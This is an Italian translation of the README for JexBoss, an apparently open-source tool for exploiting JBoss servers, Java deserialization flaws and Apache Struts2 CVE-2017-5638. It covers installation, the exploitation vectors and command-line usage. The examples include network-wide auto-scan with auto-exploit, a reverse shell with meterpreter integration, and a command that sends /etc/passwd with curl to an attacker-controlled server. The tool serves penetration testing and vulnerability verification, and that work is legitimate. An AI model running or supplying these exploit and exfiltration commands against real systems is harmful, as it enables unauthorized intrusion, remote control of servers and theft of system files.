JexBoss - JBoss (e altre vulnerabilità di deserializzazione Java) strumento di verifica e sfruttamento

JexBoss è uno strumento per testare e sfruttare vulnerabilità in JBoss Application Server e in altre piattaforme, framework, applicazioni Java, ecc.

Requisiti

• Python >= 2.7.x
• urllib3
• ipaddress

Installazione su Linux\Mac

Per installare l'ultima versione di JexBoss, usa i seguenti comandi:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OPPURE:

Scarica l'ultima versione da: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Se stai usando CentOS con Python 2.6, installa Python 2.7. Esempio di installazione di Python 2.7 su CentOS usando Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installazione su Windows

Se stai usando Windows, puoi usare Git Bash per eseguire JexBoss. Segui i passaggi sotto:

• Scarica e installa Python
• Scarica e installa Git for Windows
• Dopo l'installazione, esegui Git for Windows e digita i seguenti comandi:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Caratteristiche

Lo strumento e gli exploit sono stati sviluppati e testati per:

• Versioni di JBoss Application Server: 3, 4, 5 e 6.
• Vulnerabilità di deserializzazione Java in molteplici framework, piattaforme e applicazioni Java (es., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), ecc.)

I vettori di sfruttamento sono:

• /admin-console
  • testato e funzionante nelle versioni JBoss 5 e 6
• /jmx-console
  • testato e funzionante nelle versioni JBoss 4, 5 e 6
• /web-console/Invoker
  • testato e funzionante nelle versioni JBoss 4, 5 e 6
• /invoker/JMXInvokerServlet
  • testato e funzionante nelle versioni JBoss 4, 5 e 6
• Deserializzazione dell'applicazione
  • testato e funzionante contro molteplici applicazioni Java, piattaforme, ecc., tramite parametri HTTP POST
• Deserializzazione del Servlet
  • testato e funzionante contro molteplici applicazioni Java, piattaforme, ecc., tramite servlet che elaborano oggetti serializzati (es., quando vedi un "Invoker" in un link)
• Apache Struts2 CVE-2017-5638
  • testato su applicazioni Apache Struts 2
• Altri

Video

• Sfruttamento delle vulnerabilità di deserializzazione Java (RCE) su applicazioni JSF/Seam tramite javax.faces.ViewState con JexBoss

• Sfruttamento di JBoss Application Server con JexBoss

• Sfruttamento di Apache Struts2 (RCE) con JexBoss (CVE-2017-5638)

Screenshot

• Esempi di utilizzo semplice:

$ python jexboss.py

• Esempio di modalità standalone contro JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Modalità di utilizzo:

$ python jexboss.py -h

• Modalità scansione di rete:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Modalità scansione di rete con auto-exploit:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Risultati e raccomandazioni:

Reverse Shell (integrazione meterpreter)

Dopo aver sfruttato un server JBoss, puoi usare la shell dei comandi di jexboss stessa o effettuare una connessione inversa usando il seguente comando:

   jexremote=YOUR_IP:YOUR_PORT

   Esempio:
     Shell>jexremote=192.168.0.10:4444

• Esempio:

Quando si sfruttano vulnerabilità di deserializzazione Java (deserializzazione dell'applicazione, deserializzazione del servlet), le opzioni predefinite sono: effettuare una connessione inversa o inviare un comando da eseguire.

Esempi di utilizzo

• Per vulnerabilità di deserializzazione Java in un parametro HTTP personalizzato e per inviare un comando personalizzato da eseguire sul server sfruttato:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

• Per vulnerabilità di deserializzazione Java in un parametro HTTP personalizzato e per effettuare una reverse shell (verrà richiesto un indirizzo IP e una porta del tuo host remoto):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• Per vulnerabilità di deserializzazione Java in un Servlet (come Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• Per Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• Per Apache Struts 2 (CVE-2017-5638) con cookie per risorse autenticate

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Modalità scansione automatica:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• Modalità scansione da file:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• Altre opzioni: